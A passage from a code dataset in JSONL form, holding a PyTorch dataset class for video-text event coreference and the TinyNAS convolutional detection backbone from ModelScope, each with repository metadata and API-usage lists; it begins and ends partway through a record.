"PyQt5.QtWidgets.QFrame", "line_number": 241, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 241, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 242, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 242, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 244, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 244, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 245, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 245, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 250, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 250, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 251, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 251, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 256, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 256, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 257, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 257, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 262, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 262, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 263, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 263, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QMetaObject.connectSlotsByName", "line_number": 280, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QMetaObject", "line_number": 280, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 280, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 285, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 285, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 296, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 296, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 296, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 297, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 297, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 301, "usage_type": "call"}]} +{"seq_id": "26090648604", "text": "import numpy as np\nimport collections\nimport codecs\nimport torch\nfrom torch.utils.data import Dataset\nimport torchvision.transforms as transforms\nimport json\nimport cv2\nimport os\nimport PIL.Image as Image\nfrom transformers import AutoTokenizer, AutoModel\n\nSINGLETON = '###SINGLETON###'\nPUNCT = [',', '.', '\\'', '\\\"', ':', ';', '?', '!', '<', '>', '~', '%', '$', '|', '/', '@', '#', '^', '*']\n\ndef fix_embedding_length(emb, L):\n size = emb.size()[1:]\n if emb.size(0) < L:\n pad = [torch.zeros(size, dtype=emb.dtype, device=emb.device).unsqueeze(0) for _ in range(L-emb.size(0))]\n emb = torch.cat([emb]+pad, dim=0)\n else:\n emb = emb[:L]\n return emb \n\nclass VideoM2E2SupervisedCrossmediaDataset(Dataset):\n def __init__(self, config, split='train'):\n '''\n :param doc_json: dict of \n [doc_id]: list of [sent id, token id, token, is entity/event]\n :param mention_json: store list of dicts of:\n {'doc_id': str, document id,\n 'subtopic': '0',\n 'm_id': '0',\n 'sentence_id': str, order of the sentence,\n 'tokens_ids': list of ints, 1-indexed position of the tokens of the current mention in the sentences,\n 'tokens': str, tokens concatenated with space,\n 'tags': '',\n 'lemmas': '',\n 'cluster_id': '0',\n 'cluster_desc': '',\n 'singleton': boolean, whether the mention is a singleton}\n '''\n super(VideoM2E2SupervisedCrossmediaDataset, self).__init__()\n self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n self.config = config\n self.split = split\n self.max_frame_num = config.get('max_frame_num', 30)\n self.use_action_boundary = config.get('use_action_boundary', True)\n\n if config['bert_model'] == 'oneie':\n doc_json = os.path.join(config['data_folder'], f'{split}_oneie.json')\n mention_json = os.path.join(config['data_folder'], f'{split}_oneie_{config[\"mention_type\"]}.json')\n else:\n doc_json = os.path.join(config['data_folder'], f'{split}.json')\n mention_json = os.path.join(config['data_folder'], f'{split}_{config[\"mention_type\"]}.json') \n documents = json.load(codecs.open(doc_json, 'r', 'utf-8'))\n text_mentions = json.load(codecs.open(mention_json, 'r', 'utf-8'))\n\n id_mapping_json = os.path.join(config['data_folder'], '../video_m2e2.json')\n action_anno_json = os.path.join(config['data_folder'], '../master.json') # Contain event time stamps\n action_dur_json = os.path.join(config['data_folder'], '../anet_anno.json')\n ontology_json = os.path.join(config['data_folder'], '../ontology.json')\n ontology_map_json = os.path.join(config['data_folder'], '../ontology_mapping.json')\n\n id_mapping = json.load(codecs.open(id_mapping_json, 'r', 'utf-8'))\n action_anno_dict = json.load(codecs.open(action_anno_json, 'r', 'utf-8'))\n action_dur_dict = json.load(codecs.open(action_dur_json))\n\n ontology_dict = json.load(codecs.open(ontology_json))\n if config['mention_type'] == 'event':\n ontology = ontology_dict['event']\n elif config['mention_type'] == 'entities':\n ontology = ontology_dict['entities']\n else:\n ontology = ontology_dict['event'] + ontology_dict['entities']\n\n self.ontology_map = json.load(codecs.open(ontology_map_json))\n\n # Load action embeddings\n self.action_embeddings = np.load(os.path.join(config['data_folder'], f'{split}_mmaction_feat.npz'))\n \n # Load document embeddings\n if config.bert_model == 'oneie':\n bert_embed_file = f'{doc_json.split(\".\")[0]}_{config[\"mention_type\"]}.npz'\n else:\n bert_embed_file = '{}_{}.npz'.format(doc_json.split('.')[0], config.bert_model)\n self.docs_embeddings = np.load(bert_embed_file)\n \n self.doc_to_action_feat = {'_'.join(feat_id.split('_')[:-1]):feat_id for feat_id in self.action_embeddings}\n self.doc_to_text_feat = {'_'.join(feat_id.split('_')[:-1]):feat_id for feat_id in self.docs_embeddings}\n \n # Load event info\n self.text_label_dict, self.event_stoi = self.create_text_dict_labels(text_mentions)\n self.action_label_dict, self.action_stoi = self.create_action_dict_labels(id_mapping,\\\n action_anno_dict,\\\n action_dur_dict,\\\n ontology)\n documents = {doc_id:doc for doc_id, doc in documents.items() if doc_id in self.text_label_dict}\n self.documents = documents\n\n self.data_list = self.create_data_list(self.text_label_dict, self.action_label_dict) # XXX\n print('Number of documents: ', len(documents))\n print('Number of mention-action pairs: ', len(self.data_list))\n \n # Tokenize documents and extract token spans after bert tokenization\n if config.bert_model == 'oneie':\n self.origin_tokens = [documents[k] for k in sorted(documents)]\n self.bert_tokens, self.bert_start_ends, self.clean_start_end_dict = None, None, None\n else:\n self.origin_tokens, self.bert_tokens, self.bert_start_ends, self.clean_start_end_dict = self.tokenize(documents)\n\n def tokenize(self, documents):\n '''\n Tokenize the sentences in BERT format. Adapted from https://github.com/ariecattan/coref\n '''\n tokenizer = AutoTokenizer.from_pretrained(self.config['bert_model'])\n docs_bert_tokens = []\n docs_start_end_bert = []\n docs_origin_tokens = []\n clean_start_end_dict = {}\n\n for doc_id in sorted(documents):\n tokens = documents[doc_id]\n bert_tokens_ids = []\n start_bert_idx, end_bert_idx = [], []\n original_tokens = []\n clean_start_end = -1 * np.ones(len(tokens), dtype=np.int)\n bert_cursor = -1\n for i, token in enumerate(tokens):\n sent_id, token_id, token_text, flag_sentence = token\n bert_token = tokenizer.encode(token_text, add_special_tokens=True)[1:-1] \n if bert_token:\n bert_start_index = bert_cursor + 1\n bert_tokens_ids.extend(bert_token)\n start_bert_idx.append(bert_start_index)\n bert_cursor += len(bert_token)\n\n bert_end_index = bert_cursor\n end_bert_idx.append(bert_end_index)\n\n clean_start_end[i] = len(original_tokens)\n original_tokens.append([sent_id, token_id, token_text, flag_sentence])\n docs_bert_tokens.append(bert_tokens_ids)\n docs_origin_tokens.append(original_tokens)\n clean_start_end_dict[doc_id] = clean_start_end.tolist() \n start_end = np.concatenate((np.expand_dims(start_bert_idx, 1), np.expand_dims(end_bert_idx, 1)), axis=1)\n docs_start_end_bert.append(start_end)\n\n return docs_origin_tokens, docs_bert_tokens, docs_start_end_bert, clean_start_end_dict\n\n def create_text_dict_labels(self, text_mentions):\n \"\"\"\n :return text_label_dict: a mapping from doc id to a dict of (start token, end token) -> cluster id \n :return image_label_dict: a mapping from image id to a dict of (bbox id, x min, y min, x max, y max) -> cluster id \n \"\"\"\n stoi = {}\n text_label_dict = {}\n for m in text_mentions:\n if len(m['tokens_ids']) == 0:\n text_label_dict[m['doc_id']][(-1, -1)] = 0\n else:\n start = min(m['tokens_ids'])\n end = max(m['tokens_ids'])\n if not m['doc_id'] in text_label_dict:\n text_label_dict[m['doc_id']] = {}\n\n if not m['event_type'] in stoi:\n stoi[m['event_type']] = len(stoi)\n text_label_dict[m['doc_id']][(start, end)] = m['event_type'].split('.')[-1] \n return text_label_dict, stoi\n \n def create_action_dict_labels(self, \n id_map,\n anno_dict,\n dur_dict, \n ontology):\n \"\"\" \n :param id2desc: {[youtube id]: [description id with puncts]} \n :param anno_dict: {[description id]: list of {'Temporal_Boundary': [float, float], 'Event_Type': int}} \n :param dur_dict: {[description id]: {'duration_second': float}}\n :param ontology: list of mention classes\n :returns image_label_dict: {[doc_id]: {[action span]: [action class]}}\n \"\"\"\n label_dict = dict()\n stoi = {c:i for i, c in enumerate(ontology)}\n for desc_id, desc in id_map.items():\n doc_id = desc['id'].split('v=')[-1] \n for punct in PUNCT:\n desc_id = desc_id.replace(punct, '')\n if not desc_id in dur_dict:\n continue\n\n label_dict[doc_id] = dict()\n dur = dur_dict[desc_id]['duration_second']\n for ann in anno_dict[desc_id+'.mp4']:\n action_class = ontology[ann['Event_Type']] \n start_sec, end_sec = ann['Temporal_Boundary'] \n start, end = int(start_sec / dur * 100), int(end_sec / dur * 100)\n label_dict[doc_id][(start, end)] = action_class\n\n return label_dict, stoi\n\n def create_data_list(self, \n text_label_dict, \n action_label_dict):\n \"\"\"\n :param text_label_dict: {[doc_id]: {[action span]: [action class]}}\n :param action_label_dict: {[doc_id]: {[action span]: [action class]}}\n :returns data_list: list of [(doc_id, [mention span, mention label], [action span, action label])]\n \"\"\"\n data_list = []\n for doc_idx, doc_id in enumerate(sorted(text_label_dict)):\n for m_idx, m_span in enumerate(sorted(text_label_dict[doc_id])):\n for a_idx, a_span in enumerate(sorted(action_label_dict[doc_id])): \n data_list.append([doc_idx, doc_id, [m_span, text_label_dict[doc_id][m_span], m_idx], [a_span, action_label_dict[doc_id][a_span], a_idx]])\n return data_list\n\n def __getitem__(self, idx):\n \"\"\" \n Load mention span embeddings for the document\n \n :param idx: int, doc index\n :return start_end_embeddings: FloatTensor of size (max num. spans, 2, span embed dim)\n :return continuous_tokens_embeddings: FloatTensor of size (max num. spans, max mention span, span embed dim)\n :return mask: FloatTensor of size (max num. spans,)\n :return width: LongTensor of size (max num. spans,)\n :return labels: LongTensor of size (max num. spans,) \n \"\"\"\n doc_idx, doc_id, m_info, a_info = self.data_list[idx]\n \n doc_embeddings = self.docs_embeddings[self.doc_to_text_feat[doc_id]]\n doc_embeddings = torch.FloatTensor(doc_embeddings)\n if self.bert_start_ends is not None:\n bert_start_ends = self.bert_start_ends[doc_idx]\n m_start = self.clean_start_end_dict[doc_id][m_info[0][0]]\n m_end = self.clean_start_end_dict[doc_id][m_info[0][1]]\n m_bert_start = bert_start_ends[m_start, 0]\n m_bert_end = bert_start_ends[m_end, 1]\n mention_embedding = doc_embeddings[m_bert_start:m_bert_end+1].mean(dim=0)\n else:\n m_idx = m_info[-1]\n mention_embedding = doc_embeddings[m_idx]\n\n action_embedding = self.action_embeddings[self.doc_to_action_feat[doc_id]]\n if self.use_action_boundary:\n action_embedding = torch.FloatTensor(action_embedding[a_info[0][0]:a_info[0][1]+1])\n action_mask = torch.zeros(self.max_frame_num)\n action_mask[:action_embedding.size(0)] = 1.\n action_embedding = fix_embedding_length(action_embedding, self.max_frame_num)\n else:\n nframes = action_embedding.shape[0]\n action_mask = torch.ones(nframes)\n \n if not m_info[1] in self.ontology_map:\n coref_label = 0\n elif a_info[1] in self.ontology_map[m_info[1]]:\n coref_label = 1\n else:\n coref_label = 0\n\n # Extract coreference cluster labels\n return mention_embedding,\\\n action_embedding,\\\n action_mask,\\\n coref_label\n\n def __len__(self):\n return len(self.data_list)\n", "repo_name": "lwang114/MultimediaEventCoreference", "sub_path": "corpus_crossmedia.py", "file_name": "corpus_crossmedia.py", "file_ext": "py", "file_size_in_byte": 11740, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.zeros", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 56, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 56, "usage_type": "call"}, {"api_name": "json.load", "line_number": 57, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 65, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 65, "usage_type": "call"}, {"api_name": "json.load", "line_number": 66, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 66, "usage_type": "call"}, {"api_name": "json.load", "line_number": 67, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 67, "usage_type": "call"}, {"api_name": "json.load", "line_number": 69, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 69, "usage_type": "call"}, {"api_name": "json.load", "line_number": 77, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 87, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 116, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 232, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 252, "usage_type": "call"}]} +{"seq_id": "23263776025", "text": "# Copyright (c) Alibaba, Inc. and its affiliates.\r\n# The AIRDet implementation is also open-sourced by the authors, and available at https://github.com/tinyvision/AIRDet.\r\n\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nfrom modelscope.utils.file_utils import read_file\r\nfrom ..core.base_ops import Focus, SPPBottleneck, get_activation\r\nfrom ..core.repvgg_block import RepVggBlock\r\n\r\n\r\nclass ConvKXBN(nn.Module):\r\n\r\n def __init__(self, in_c, out_c, kernel_size, stride):\r\n super(ConvKXBN, self).__init__()\r\n self.conv1 = nn.Conv2d(\r\n in_c,\r\n out_c,\r\n kernel_size,\r\n stride, (kernel_size - 1) // 2,\r\n groups=1,\r\n bias=False)\r\n self.bn1 = nn.BatchNorm2d(out_c)\r\n\r\n def forward(self, x):\r\n return self.bn1(self.conv1(x))\r\n\r\n\r\nclass ConvKXBNRELU(nn.Module):\r\n\r\n def __init__(self, in_c, out_c, kernel_size, stride, act='silu'):\r\n super(ConvKXBNRELU, self).__init__()\r\n self.conv = ConvKXBN(in_c, out_c, kernel_size, stride)\r\n if act is None:\r\n self.activation_function = torch.relu\r\n else:\r\n self.activation_function = get_activation(act)\r\n\r\n def forward(self, x):\r\n output = self.conv(x)\r\n return self.activation_function(output)\r\n\r\n\r\nclass ResConvK1KX(nn.Module):\r\n\r\n def __init__(self,\r\n in_c,\r\n out_c,\r\n btn_c,\r\n kernel_size,\r\n stride,\r\n force_resproj=False,\r\n act='silu',\r\n reparam=False):\r\n super(ResConvK1KX, self).__init__()\r\n self.stride = stride\r\n self.conv1 = ConvKXBN(in_c, btn_c, 1, 1)\r\n if not reparam:\r\n self.conv2 = ConvKXBN(btn_c, out_c, 3, stride)\r\n else:\r\n self.conv2 = RepVggBlock(\r\n btn_c, out_c, kernel_size, stride, act='identity')\r\n\r\n if act is None:\r\n self.activation_function = torch.relu\r\n else:\r\n self.activation_function = get_activation(act)\r\n\r\n if stride == 2:\r\n self.residual_downsample = nn.AvgPool2d(kernel_size=2, stride=2)\r\n else:\r\n self.residual_downsample = nn.Identity()\r\n\r\n if in_c != out_c or force_resproj:\r\n self.residual_proj = ConvKXBN(in_c, out_c, 1, 1)\r\n else:\r\n self.residual_proj = nn.Identity()\r\n\r\n def forward(self, x):\r\n if self.stride != 2:\r\n reslink = self.residual_downsample(x)\r\n reslink = self.residual_proj(reslink)\r\n\r\n output = x\r\n output = self.conv1(output)\r\n output = self.activation_function(output)\r\n output = self.conv2(output)\r\n if self.stride != 2:\r\n output = output + reslink\r\n output = self.activation_function(output)\r\n\r\n return output\r\n\r\n\r\nclass SuperResConvK1KX(nn.Module):\r\n\r\n def __init__(self,\r\n in_c,\r\n out_c,\r\n btn_c,\r\n kernel_size,\r\n stride,\r\n num_blocks,\r\n with_spp=False,\r\n act='silu',\r\n reparam=False):\r\n super(SuperResConvK1KX, self).__init__()\r\n if act is None:\r\n self.act = torch.relu\r\n else:\r\n self.act = get_activation(act)\r\n self.block_list = nn.ModuleList()\r\n for block_id in range(num_blocks):\r\n if block_id == 0:\r\n in_channels = in_c\r\n out_channels = out_c\r\n this_stride = stride\r\n force_resproj = False # as a part of CSPLayer, DO NOT need this flag\r\n this_kernel_size = kernel_size\r\n else:\r\n in_channels = out_c\r\n out_channels = out_c\r\n this_stride = 1\r\n force_resproj = False\r\n this_kernel_size = kernel_size\r\n the_block = ResConvK1KX(\r\n in_channels,\r\n out_channels,\r\n btn_c,\r\n this_kernel_size,\r\n this_stride,\r\n force_resproj,\r\n act=act,\r\n reparam=reparam)\r\n self.block_list.append(the_block)\r\n if block_id == 0 and with_spp:\r\n self.block_list.append(\r\n SPPBottleneck(out_channels, out_channels))\r\n\r\n def forward(self, x):\r\n output = x\r\n for block in self.block_list:\r\n output = block(output)\r\n return output\r\n\r\n\r\nclass ResConvKXKX(nn.Module):\r\n\r\n def __init__(self,\r\n in_c,\r\n out_c,\r\n btn_c,\r\n kernel_size,\r\n stride,\r\n force_resproj=False,\r\n act='silu'):\r\n super(ResConvKXKX, self).__init__()\r\n self.stride = stride\r\n if self.stride == 2:\r\n self.downsampler = ConvKXBNRELU(in_c, out_c, 3, 2, act=act)\r\n else:\r\n self.conv1 = ConvKXBN(in_c, btn_c, kernel_size, 1)\r\n self.conv2 = RepVggBlock(\r\n btn_c, out_c, kernel_size, stride, act='identity')\r\n\r\n if act is None:\r\n self.activation_function = torch.relu\r\n else:\r\n self.activation_function = get_activation(act)\r\n\r\n if stride == 2:\r\n self.residual_downsample = nn.AvgPool2d(\r\n kernel_size=2, stride=2)\r\n else:\r\n self.residual_downsample = nn.Identity()\r\n\r\n if in_c != out_c or force_resproj:\r\n self.residual_proj = ConvKXBN(in_c, out_c, 1, 1)\r\n else:\r\n self.residual_proj = nn.Identity()\r\n\r\n def forward(self, x):\r\n if self.stride == 2:\r\n return self.downsampler(x)\r\n reslink = self.residual_downsample(x)\r\n reslink = self.residual_proj(reslink)\r\n\r\n output = x\r\n output = self.conv1(output)\r\n output = self.activation_function(output)\r\n output = self.conv2(output)\r\n\r\n output = output + reslink\r\n output = self.activation_function(output)\r\n\r\n return output\r\n\r\n\r\nclass SuperResConvKXKX(nn.Module):\r\n\r\n def __init__(self,\r\n in_c,\r\n out_c,\r\n btn_c,\r\n kernel_size,\r\n stride,\r\n num_blocks,\r\n with_spp=False,\r\n act='silu'):\r\n super(SuperResConvKXKX, self).__init__()\r\n if act is None:\r\n self.act = torch.relu\r\n else:\r\n self.act = get_activation(act)\r\n self.block_list = nn.ModuleList()\r\n for block_id in range(num_blocks):\r\n if block_id == 0:\r\n in_channels = in_c\r\n out_channels = out_c\r\n this_stride = stride\r\n force_resproj = False # as a part of CSPLayer, DO NOT need this flag\r\n this_kernel_size = kernel_size\r\n else:\r\n in_channels = out_c\r\n out_channels = out_c\r\n this_stride = 1\r\n force_resproj = False\r\n this_kernel_size = kernel_size\r\n the_block = ResConvKXKX(\r\n in_channels,\r\n out_channels,\r\n btn_c,\r\n this_kernel_size,\r\n this_stride,\r\n force_resproj,\r\n act=act)\r\n self.block_list.append(the_block)\r\n if block_id == 0 and with_spp:\r\n self.block_list.append(\r\n SPPBottleneck(out_channels, out_channels))\r\n\r\n def forward(self, x):\r\n output = x\r\n for block in self.block_list:\r\n output = block(output)\r\n return output\r\n\r\n\r\nclass TinyNAS(nn.Module):\r\n\r\n def __init__(self,\r\n structure_info=None,\r\n out_indices=[0, 1, 2, 4, 5],\r\n out_channels=[None, None, 128, 256, 512],\r\n with_spp=False,\r\n use_focus=False,\r\n need_conv1=True,\r\n act='silu',\r\n reparam=False):\r\n super(TinyNAS, self).__init__()\r\n assert len(out_indices) == len(out_channels)\r\n self.out_indices = out_indices\r\n self.need_conv1 = need_conv1\r\n\r\n self.block_list = nn.ModuleList()\r\n if need_conv1:\r\n self.conv1_list = nn.ModuleList()\r\n for idx, block_info in enumerate(structure_info):\r\n the_block_class = block_info['class']\r\n if the_block_class == 'ConvKXBNRELU':\r\n if use_focus:\r\n the_block = Focus(\r\n block_info['in'],\r\n block_info['out'],\r\n block_info['k'],\r\n act=act)\r\n else:\r\n the_block = ConvKXBNRELU(\r\n block_info['in'],\r\n block_info['out'],\r\n block_info['k'],\r\n block_info['s'],\r\n act=act)\r\n self.block_list.append(the_block)\r\n elif the_block_class == 'SuperResConvK1KX':\r\n spp = with_spp if idx == len(structure_info) - 1 else False\r\n the_block = SuperResConvK1KX(\r\n block_info['in'],\r\n block_info['out'],\r\n block_info['btn'],\r\n block_info['k'],\r\n block_info['s'],\r\n block_info['L'],\r\n spp,\r\n act=act,\r\n reparam=reparam)\r\n self.block_list.append(the_block)\r\n elif the_block_class == 'SuperResConvKXKX':\r\n spp = with_spp if idx == len(structure_info) - 1 else False\r\n the_block = SuperResConvKXKX(\r\n block_info['in'],\r\n block_info['out'],\r\n block_info['btn'],\r\n block_info['k'],\r\n block_info['s'],\r\n block_info['L'],\r\n spp,\r\n act=act)\r\n self.block_list.append(the_block)\r\n if need_conv1:\r\n if idx in self.out_indices and out_channels[\r\n self.out_indices.index(idx)] is not None:\r\n self.conv1_list.append(\r\n nn.Conv2d(block_info['out'],\r\n out_channels[self.out_indices.index(idx)],\r\n 1))\r\n else:\r\n self.conv1_list.append(None)\r\n\r\n def init_weights(self, pretrain=None):\r\n pass\r\n\r\n def forward(self, x):\r\n output = x\r\n stage_feature_list = []\r\n for idx, block in enumerate(self.block_list):\r\n output = block(output)\r\n if idx in self.out_indices:\r\n if self.need_conv1 and self.conv1_list[idx] is not None:\r\n true_out = self.conv1_list[idx](output)\r\n stage_feature_list.append(true_out)\r\n else:\r\n stage_feature_list.append(output)\r\n return stage_feature_list\r\n\r\n\r\ndef load_tinynas_net(backbone_cfg):\r\n # load masternet model to path\r\n import ast\r\n net_structure_str = read_file(backbone_cfg.structure_file)\r\n struct_str = ''.join([x.strip() for x in net_structure_str])\r\n struct_info = ast.literal_eval(struct_str)\r\n for layer in struct_info:\r\n if 'nbitsA' in layer:\r\n del layer['nbitsA']\r\n if 'nbitsW' in layer:\r\n del layer['nbitsW']\r\n\r\n model = TinyNAS(\r\n structure_info=struct_info,\r\n out_indices=backbone_cfg.out_indices,\r\n out_channels=backbone_cfg.out_channels,\r\n with_spp=backbone_cfg.with_spp,\r\n use_focus=backbone_cfg.use_focus,\r\n act=backbone_cfg.act,\r\n need_conv1=backbone_cfg.need_conv1,\r\n reparam=backbone_cfg.reparam)\r\n\r\n return model\r\n", "repo_name": "sdjamesliu/alldata", "sub_path": "ai/modelscope-versions/modelscope-master/modelscope/models/cv/tinynas_detection/backbone/tinynas.py", "file_name": "tinynas.py", "file_ext": "py", "file_size_in_byte": 12133, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.nn.Module", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.relu", "line_number": 35, "usage_type": "attribute"}, {"api_name": "core.base_ops.get_activation", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "core.repvgg_block.RepVggBlock", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.relu", "line_number": 65, "usage_type": "attribute"}, {"api_name": "core.base_ops.get_activation", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn.AvgPool2d", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 95, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.relu", "line_number": 109, "usage_type": "attribute"}, {"api_name": "core.base_ops.get_activation", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 112, "usage_type": "name"}, {"api_name": "core.base_ops.SPPBottleneck", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 147, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 147, "usage_type": "name"}, {"api_name": "core.repvgg_block.RepVggBlock", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.relu", "line_number": 167, "usage_type": "attribute"}, {"api_name": "core.base_ops.get_activation", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn.AvgPool2d", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 172, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 175, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 199, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 199, "usage_type": "name"}, {"api_name": "torch.relu", "line_number": 212, "usage_type": "attribute"}, {"api_name": "core.base_ops.get_activation", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 215, "usage_type": "name"}, {"api_name": "core.base_ops.SPPBottleneck", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 249, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 249, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 265, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 267, "usage_type": "name"}, {"api_name": "core.base_ops.Focus", "line_number": 272, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 314, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 314, "usage_type": "name"}, {"api_name": 